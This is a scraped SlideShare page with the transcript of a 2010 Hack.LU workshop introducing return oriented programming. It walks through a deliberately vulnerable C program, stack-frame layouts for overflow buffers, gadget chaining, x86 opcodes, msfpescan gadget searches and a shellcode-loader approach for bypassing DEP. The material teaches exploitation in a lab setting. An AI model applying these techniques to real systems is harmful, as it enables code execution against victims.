Your SlideShare is downloading. ×
net-squareIntroduction to ROPa first look at return oriented programmingSaumil Shah, Net-SquareHack.LU 2010 - Luxembourg
net-squareIntroduction• DEP• EIP control• Ret2LibC• Return Oriented Programming
net-squareDEP• Hardware enforced (NX).• Data areas marked non-executable.– Stack marked non-executable.– Heap marked non-e...
net-squareEIP control• Stack - forbidden• Heap - forbidden• Binary - OK• DLLs - OKProgram ImageHeapStackDLLDLLDLL
net-squareRet2LibC• Return to LibC.• Pioneered by Solar Designer in 1997.• EIP made to "return to a function".• Need contr...
net-squareRet2LibC - how does it work?• Create a fake frame on the stack.• After an overflowed function returns...• ...set...
net-squareReturn Oriented Programming• Series of function returns.• Chained frames.• Transform EIP based primitives into s...
net-squareTopics• Function calls and returns• Stack overflows revisited• Creating stack frames• Chaining frames• ESP control
net-squareCalling a function• Add two ints x, y.• add(3,4)• What does the callingframe look like?void add(int x, int y){in...
net-squareStack frame for add(3,4)frame for add()return address from add()34call add
net-squareReturn from add(3,4)• add() is about to return.• RET after epilogue of add().• Where does ESP point to?– immedia...
net-squareBefore the RETreturn address from add()34ESP
net-squareAnother function• Stack overflow infunc1.• Can we call add(5, 6)after returning fromfunc1?void func1(char *s){ch...
net-squareStack frame for func1()bufferreturn address from func1s
net-squarestrcpy(buffer, s)bufferreturn address from func1sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
net-squareBefore the RETbufferreturn address from func1sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
net-squareAfter the RETbufferreturn address from func1sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
net-squareReturn to add()• Insert a fake frame in the buffer.• Make func1() return to:add(01010101, 02020202)• What does t...
net-squarestrcpy(buffer, s)bufferreturn address from func1sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
net-squareBefore func1() returnsbufferreturn address from func1sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
net-squareReturn to add()bufferreturn address from func1sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
net-squareReturn to add()• By carefully creating a frame...• ...we can make the program "return toour function".• We contr...
net-squarevictim2.cint main(int argc, char *argv[]){add(3, 4);func1(argv[1]);}void func1(char *s){char buffer[128];strcpy(...
net-squarevictim2.c• Compile victim2.c• Run victim2 under a debugger• Study the stack frame before add(3, 4)gcc victim2.c ...
net-squaregdbing add• Set a breakpoint before add(3, 4)0x804836c <main>: push %ebp0x804836d <main+1>: mov %esp,%ebp0x80483...
net-squareStack frame before add(3, 4)• Dump the stack• Continue(gdb) x/64 $esp0xbffff8ac: 0x08048388 0x00000003 0x0000000...
net-squareOverflowing func1()• Overflow func1 and......return to add(01010101, 02020202)• Create a fake frame.• Overwrite ...
net-squareframe1.pl• Creates the overflow buffer as follows:• Set this in an environment variable EGGand run victim2 with ...
net-squareESP• Where will ESP be after returning fromadd?• Verify080483deAAAAAA...140...AAAAAA 42424242 01010101 02020202(...
net-squareChaining functions• After add(01010101, 02020202), we wantto run add(03030303, 04040404).• How should we set up ...
net-squareAfter add() returnsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaddress of add4242424201010101020...
net-squareWhere does the new frame go?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaddress of add4242424201...
net-squareWhere does the new frame go?• We get only ONE chance at strcpy.• How do we preserve params 01010101and 02020202?...
net-squareChaining the framesAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
net-squareKeeping ESP in controlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
net-squareframe2.pl• Creates the overflow buffer as follows:080483deAAAAAA...140...AAAAAA 0804843d 01010101 02020202distan...
net-squareframe2.pl• Set this in an environment variable EGGand run victim2 with $EGG:export EGG=`./frame2.pl`gdb victim2(...
net-squareIts all about ESP!• ESP is the new EIP.• ROP involves keeping the ESP movingthrough the frames on the stack.• Fr...
net-squareROP frames - generic approachf1(A, B)f2(X)f1(C, D)f3(P, Q, R, S)f2(Y)::& f1()& POP/POP/RETAB& f2()& POP/RETX& f3...
net-squareTopics• Transforming classic EIP code to ROP• ROP vs. classic programming• Thinking in ROP terms• Assembling fra...
net-squareEIP vs. ESPClassic EIP code• N ops = N instructions.• EIP increments.• ESP fluctuates.• The CPU increments EIPau...
net-squareTransform EIP code to ROP• Load two registers• Call a function– with params 3,4• How does thistranslate in ROPte...
net-squareThinking in ROP terms??AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA14ESPPut 14 in the next stack word, and POPi...
net-squareThinking in ROP terms700344feAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA14ESPRETfunction bodyepilogueprologuev...
net-squareThinking in ROP terms700344fe??AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1402500000ESPRETfunction bodyepilogu...
net-squareThinking in ROP terms700344fe6d894430AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1402500000RETfunction bodyepil...
net-squareThinking in ROP terms700344fe6d894430AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1402500000ESPRETfunction bodye...
net-squareThinking in ROP terms700344fe6d894430AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1402500000??ESPRETfunction bod...
net-squareGadget DictionaryPOP EAX; RETLoad value intoregistervaluePOP ECX; RETRead memory ataddressaddressADD EAX,n; RETA...
net-squareInstruction OpcodesInstruction OpcodesRET C3RET n C2 16bitsPOP EAX 58POP ECX 59MOV EAX,[ECX] 8B 01MOV [EAX],ECX ...
net-squareInstruction OpcodesInstruction OpcodesPOP EBX/EDX/ESI/EDI/EBP 5B/5A/5E/5F/5DPOPAD 61ADD ESP,24 83 C4 18CALL [EAX...
net-squareSearching for Gadgets• Use msfpescans regex search.• Example: MOV EAX,[ECX]; RETmsfpescan -D -r x8Bx01xC3 <file>...
net-squareGeneric Techniques• Run arbitrary shellcode.• Difficult to transform entire shellcode toROP frames.• Create a RO...
net-squareDEMO TIME!• Java JNLP docbase overflow• Exploiting IE8 using ROP
net-squareKTHXBAI!saumil@net-square.comlinked-in: saumilshahno LOLcats were harmed in preparation of these slides
Upcoming SlideShare
Loading in...5
×

An introduction to ROP

6,925

Published on

Slides from my workshop at Hack.LU 2010 in Luxembourg. This workshop introduced the basic concepts of Return Oriented Programming with some hands-on exercises.

Published in: Technology, Education

Transcript of "An introduction to ROP"

  1. 1. net-squareIntroduction to ROPa first look at return oriented programmingSaumil Shah, Net-SquareHack.LU 2010 - Luxembourg
  2. 2. net-squareIntroduction• DEP• EIP control• Ret2LibC• Return Oriented Programming
  3. 3. net-squareDEP• Hardware enforced (NX).• Data areas marked non-executable.– Stack marked non-executable.– Heap marked non-executable.• You can load your shellcode in the stackor the heap...• ...but you cant jump to it.
  4. 4. net-squareEIP control• Stack - forbidden• Heap - forbidden• Binary - OK• DLLs - OKProgram ImageHeapStackDLLDLLDLL
  5. 5. net-squareRet2LibC• Return to LibC.• Pioneered by Solar Designer in 1997.• EIP made to "return to a function".• Need control of the stack memory.– We usually have it.
  6. 6. net-squareRet2LibC - how does it work?• Create a fake frame on the stack.• After an overflowed function returns...• ...set the EIP return address to the newfunction.• Append the fake frame.• New function executes.– parameters consumed from the fake frame.• system("/bin/sh")
  7. 7. net-squareReturn Oriented Programming• Series of function returns.• Chained frames.• Transform EIP based primitives into stubsthat can be "returned into".• ESP is the new EIP!
  8. 8. net-squareTopics• Function calls and returns• Stack overflows revisited• Creating stack frames• Chaining frames• ESP control
  9. 9. net-squareCalling a function• Add two ints x, y.• add(3,4)• What does the callingframe look like?void add(int x, int y){int sum;sum = x + y;printf("%dn", sum);}int main(){add(3, 4);}
  10. 10. net-squareStack frame for add(3,4)frame for add()return address from add()34call add
  11. 11. net-squareReturn from add(3,4)• add() is about to return.• RET after epilogue of add().• Where does ESP point to?– immediately before the RET• What does the stack look like?
  12. 12. net-squareBefore the RETreturn address from add()34ESP
  13. 13. net-squareAnother function• Stack overflow infunc1.• Can we call add(5, 6)after returning fromfunc1?void func1(char *s){char buffer[128];strcpy(buffer, s);}int main(){func1(argv[1]);}
  14. 14. net-squareStack frame for func1()bufferreturn address from func1s
  15. 15. net-squarestrcpy(buffer, s)bufferreturn address from func1sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  16. 16. net-squareBefore the RETbufferreturn address from func1sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAESP
  17. 17. net-squareAfter the RETbufferreturn address from func1sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEIP = 0x41414141ESP
  18. 18. net-squareReturn to add()• Insert a fake frame in the buffer.• Make func1() return to:add(01010101, 02020202)• What does the stack frame look like?
  19. 19. net-squarestrcpy(buffer, s)bufferreturn address from func1sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaddress of addreturn address from add0101010102020202
  20. 20. net-squareBefore func1() returnsbufferreturn address from func1sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaddress of addreturn address from add0101010102020202ESP
  21. 21. net-squareReturn to add()bufferreturn address from func1sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaddress of addreturn address from add0101010102020202ESPEIP = add()
  22. 22. net-squareReturn to add()• By carefully creating a frame...• ...we can make the program "return toour function".• We control the parameters.• We also control where to jump to afterour function returns.
  23. 23. net-squarevictim2.cint main(int argc, char *argv[]){add(3, 4);func1(argv[1]);}void func1(char *s){char buffer[128];strcpy(buffer, s);}void print_hello(void){printf("Hello Worldn");}void add(int x, int y){int sum;sum = x + y;printf("%d + %d = %dn", x, y, sum);}stack overflow lurks here!
  24. 24. net-squarevictim2.c• Compile victim2.c• Run victim2 under a debugger• Study the stack frame before add(3, 4)gcc victim2.c -o victim2gdb victim2
  25. 25. net-squaregdbing add• Set a breakpoint before add(3, 4)0x804836c <main>: push %ebp0x804836d <main+1>: mov %esp,%ebp0x804836f <main+3>: sub $0x8,%esp0x8048372 <main+6>: and $0xfffffff0,%esp0x8048375 <main+9>: mov $0x0,%eax0x804837a <main+14>: sub %eax,%esp0x804837c <main+16>: sub $0x8,%esp0x804837f <main+19>: push $0x40x8048381 <main+21>: push $0x30x8048383 <main+23>: call 0x80483de <add>0x8048388 <main+28>: add $0x10,%esp0x804838b <main+31>: cmpl $0x1,0x8(%ebp)
  26. 26. net-squareStack frame before add(3, 4)• Dump the stack• Continue(gdb) x/64 $esp0xbffff8ac: 0x08048388 0x00000003 0x00000004 0xbffff8c80xbffff8bc: 0x0804841c 0x40148f50 0x40012780 0xbffff8e80x0804838834
  27. 27. net-squareOverflowing func1()• Overflow func1 and......return to add(01010101, 02020202)• Create a fake frame.• Overwrite stack.• frame1.plreturn from func1param1param2return from add0x080483de0x010101010x020202020x42424242
  28. 28. net-squareframe1.pl• Creates the overflow buffer as follows:• Set this in an environment variable EGGand run victim2 with $EGG:080483deAAAAAA...140...AAAAAA 42424242 01010101 02020202distanceto EIPaddressof addreturnfrom addparam1 param2export EGG=`./frame1.pl`gdb victim2(gdb) run $EGG
  29. 29. net-squareESP• Where will ESP be after returning fromadd?• Verify080483deAAAAAA...140...AAAAAA 42424242 01010101 02020202(gdb) x/64 $esp0xbffff824: 0x01010101 0x02020202 0x08048400 0x40148f500xbffff834: 0x40012780 0xbffff858 0x4002e7f7 0x00000002ESP
  30. 30. net-squareChaining functions• After add(01010101, 02020202), we wantto run add(03030303, 04040404).• How should we set up the frames?• First, study the frame after add() returns.
  31. 31. net-squareAfter add() returnsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaddress of add424242420101010102020202ESPEIP = 42424242
  32. 32. net-squareWhere does the new frame go?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaddress of add424242420101010102020202address of add??0303030304040404
  33. 33. net-squareWhere does the new frame go?• We get only ONE chance at strcpy.• How do we preserve params 01010101and 02020202?• We can only APPEND the second framebelow our first frame.• We have to UNWIND the first framebefore returning to the second frame.• Return to epilogue!
  34. 34. net-squareChaining the framesAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaddress of addaddress of POP/POP/RET0101010102020202address of add424242420303030304040404add(01010101, 02020202)add(03030303, 04040404)
  35. 35. net-squareKeeping ESP in controlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaddress of addaddress of POP/POP/RET0101010102020202address of add424242420303030304040404Return from func1Return to add()Return to POP/POP/RETPOPPOPESPRET - Return to add()Finally EIP = 0x42424242
  36. 36. net-squareframe2.pl• Creates the overflow buffer as follows:080483deAAAAAA...140...AAAAAA 0804843d 01010101 02020202distanceto EIPaddressof addPOP/POP/RETparam1 param2080483de 42424242 03030303 04040404addressof addreturnfrom addparam1 param2 Use msfelfscan tofind the address ofPOP/POP/RET fromvictim2 binary.
  37. 37. net-squareframe2.pl• Set this in an environment variable EGGand run victim2 with $EGG:export EGG=`./frame2.pl`gdb victim2(gdb) run $EGGStarting program: /home/user0/victim2 $EGG3 + 4 = 71010101 + 2020202 = 30303033030303 + 4040404 = 7070707Program received signal SIGSEGV, Segmentation fault.0x42424242 in ?? ()
  38. 38. net-squareIts all about ESP!• ESP is the new EIP.• ROP involves keeping the ESP movingthrough the frames on the stack.• Frames can be chained by returning toepilogues of functions.– to appropriately unwind the parameterspushed on the stack.• We must never lose sight of RET.
  39. 39. net-squareROP frames - generic approachf1(A, B)f2(X)f1(C, D)f3(P, Q, R, S)f2(Y)::& f1()& POP/POP/RETAB& f2()& POP/RETX& f3()& POPAD/RETPQR& f1()& POP/POP/RETCDjunkjunkjunk& f2()& POP/RETYS
  40. 40. net-squareTopics• Transforming classic EIP code to ROP• ROP vs. classic programming• Thinking in ROP terms• Assembling frames• Gadgets• Searching for gadgets• Generic techniques
  41. 41. net-squareEIP vs. ESPClassic EIP code• N ops = N instructions.• EIP increments.• ESP fluctuates.• The CPU increments EIPautomatically.ROP code• N ops = N frames.• ESP increments.• EIP fluctuates.• We have to control ESPthrough RET instructions.
  42. 42. net-squareTransform EIP code to ROP• Load two registers• Call a function– with params 3,4• How does thistranslate in ROPterms?mov eax, 14mov ecx, 02500000push 3push 4call 77fe3210
  43. 43. net-squareThinking in ROP terms??AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA14ESPPut 14 in the next stack word, and POPit into EAX.RETfunction bodyepilogueprologuevulnerable functionEIPmov eax, 14RETPOP EAXPOP EBXfunctionX700344fe700344fd700344ff
  44. 44. net-squareThinking in ROP terms700344feAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA14ESPRETfunction bodyepilogueprologuevulnerable functionEIPJump to address of "POP EAX; RET".Search function epilogues.RETPOP EAXPOP EBXfunctionXmov eax, 14
  45. 45. net-squareThinking in ROP terms700344fe??AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1402500000ESPRETfunction bodyepilogueprologuevulnerable functionEIPPlace 02500000 as the next stack word,to be loaded into ECX.RETPOP EAXPOP EBXfunctionXeax = 00000014mov ecx, 02500000
  46. 46. net-squareThinking in ROP terms700344fe6d894430AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1402500000RETfunction bodyepilogueprologuevulnerable functionWe now need an address of a "POP ECX;RET" sequence.RETPOP EAXPOP EBXfunctionXRETPOP ECXfunctionYESP EIPeax = 00000014mov ecx, 025000006d8944306d894431
  47. 47. net-squareThinking in ROP terms700344fe6d894430AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1402500000ESPRETfunction bodyepilogueprologuevulnerable function02500000 is popped into ECX.RETPOP EAXPOP EBXfunctionXEIPRETPOP ECXfunctionYeax = 00000014mov ecx, 02500000
  48. 48. net-squareThinking in ROP terms700344fe6d894430AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1402500000??ESPRETfunction bodyepilogueprologuevulnerable functionWe now need to call a function at77fe3210, with parameters 3, 4RETPOP EAXPOP EBXfunctionXEIP RETPOP ECXfunctionYpush 3; push 4; call 77fe3210eax = 00000014 ecx = 02500000
  49. 49. net-squareGadget DictionaryPOP EAX; RETLoad value intoregistervaluePOP ECX; RETRead memory ataddressaddressADD EAX,n; RETAddMOV EAX,[ECX]; RETPOP EAX; RETWrite value ataddressaddressPOP ECX; RETvalueMOV [EAX],ECX; RETINC EAX; RETIncrementaddress of functionCall a functionparam cleanupparam 1param 2RETNOPparam NPOP; POP ... RETADD ESP,24; RETPOPAD; RETPOP EAX; RETCall a functionpointeraddressCALL [EAX]; RETXCHG EAX,ESP; RETStack flip ESP=EAXLEAVE; RETStack flip ESP=EBPPOP ESP; RETStack flip ESP=addraddress
  50. 50. net-squareInstruction OpcodesInstruction OpcodesRET C3RET n C2 16bitsPOP EAX 58POP ECX 59MOV EAX,[ECX] 8B 01MOV [EAX],ECX 89 08MOV [ECX],EAX 89 01INC EAX 40ADD EAX, n 83 C0 8bits
  51. 51. net-squareInstruction OpcodesInstruction OpcodesPOP EBX/EDX/ESI/EDI/EBP 5B/5A/5E/5F/5DPOPAD 61ADD ESP,24 83 C4 18CALL [EAX] FF 10XCHG EAX,ESP 94LEAVE C9 (mov esp,ebp; pop ebp)POP ESP 5C
  52. 52. net-squareSearching for Gadgets• Use msfpescans regex search.• Example: MOV EAX,[ECX]; RETmsfpescan -D -r x8Bx01xC3 <file>msfpescan -D -r x8Bx01xC2.x00 <file>msfpescan -D -r x8Bx01.xC3 <file>msfpescan -D -r x8Bx01..xC3 <file>• Sometimes you may need to improvise.
  53. 53. net-squareGeneric Techniques• Run arbitrary shellcode.• Difficult to transform entire shellcode toROP frames.• Create a ROP loader:– Allocate RWX memory– Copy classic shellcode to this memory– Jump to shellcode• Load and run any shellcode.
  54. 54. net-squareDEMO TIME!• Java JNLP docbase overflow• Exploiting IE8 using ROP
  55. 55. net-squareKTHXBAI!saumil@net-square.comlinked-in: saumilshahno LOLcats were harmed in preparation of these slides

×